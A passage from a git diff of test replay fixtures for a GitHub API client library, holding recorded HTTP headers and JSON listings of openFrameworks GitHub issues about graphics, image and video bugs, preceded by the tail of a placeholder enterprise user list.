Cloud","visual_studio_subscription_email":"beaver-user029@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user030","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user030","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} diff --git a/tests/ReplayData/PaginatedList.testCustomPerPage.txt b/tests/ReplayData/PaginatedList.testCustomPerPage.txt index 05a96f8907..2c308b890a 100644 --- a/tests/ReplayData/PaginatedList.testCustomPerPage.txt +++ b/tests/ReplayData/PaginatedList.testCustomPerPage.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '166221'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 10:11:56 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9d1c9cd0db105699c994ba8b16296c1b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 10:13:24 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/502","id":684091,"number":502,"title":"ofSetOrientation doesn't work for cairo","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":3,"created_at":"2011-03-18T09:17:36Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/500","id":672608,"number":500,"title":"missing const version of getPixelsRef()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2011-03-14T19:14:21Z","updated_at":"2011-12-03T10:41:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/495","id":659446,"number":495,"title":"osx movieplayer problem on reloading","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-03-09T16:17:56Z","updated_at":"2011-03-09T16:17:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/491","id":646846,"number":491,"title":"GLUT 007 hack","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-03-04T14:44:53Z","updated_at":"2011-03-04T14:44:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/490","id":643861,"number":490,"title":"close corners on basic shapes?","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-03-03T16:35:17Z","updated_at":"2011-03-03T16:35:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","id":581395,"number":463,"title":"object init/load state is not consistently testable","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2011-02-07T19:58:23Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","id":580717,"number":462,"title":"OpenCV cvSobel() not working with latest master branch","user":{"login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","html_url":"https://github.com/nardove","followers_url":"https://api.github.com/users/nardove/followers","following_url":"https://api.github.com/users/nardove/following","gists_url":"https://api.github.com/users/nardove/gists{/gist_id}","starred_url":"https://api.github.com/users/nardove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nardove/subscriptions","organizations_url":"https://api.github.com/users/nardove/orgs","repos_url":"https://api.github.com/users/nardove/repos","events_url":"https://api.github.com/users/nardove/events{/privacy}","received_events_url":"https://api.github.com/users/nardove/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-02-07T15:58:19Z","updated_at":"2012-12-04T10:17:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\n\nI get the following error:\n\n**OF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\nterminate called after throwing an instance of 'cv::Exception'\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel**\n\nWhen I try to call the cvSobel method like this:\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\n\nThis works fine in 0062.\n\nCheers\n- rS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","id":579790,"number":460,"title":"saveImage() and other save operations should create missing directories","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":null,"comments":8,"created_at":"2011-02-07T07:52:25Z","updated_at":"2012-03-08T15:56:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","id":578069,"number":454,"title":"ofTexture::allocate not checking for unnecessary reallocation","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-02-06T04:26:44Z","updated_at":"2011-02-06T04:26:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","id":568540,"number":449,"title":"ofViewport doesn't work with ofSetOrientation","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-02-02T00:03:09Z","updated_at":"2011-02-02T00:03:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","id":565122,"number":446,"title":"no way to get imageType of ofVideoGrabber","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-31T19:26:41Z","updated_at":"2011-01-31T19:26:41Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","id":556923,"number":424,"title":"Check ofShader Texture Wrap Parameters","user":{"login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","html_url":"https://github.com/NickHardeman","followers_url":"https://api.github.com/users/NickHardeman/followers","following_url":"https://api.github.com/users/NickHardeman/following","gists_url":"https://api.github.com/users/NickHardeman/gists{/gist_id}","starred_url":"https://api.github.com/users/NickHardeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/NickHardeman/subscriptions","organizations_url":"https://api.github.com/users/NickHardeman/orgs","repos_url":"https://api.github.com/users/NickHardeman/repos","events_url":"https://api.github.com/users/NickHardeman/events{/privacy}","received_events_url":"https://api.github.com/users/NickHardeman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-27T19:43:31Z","updated_at":"2011-12-02T21:05:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid 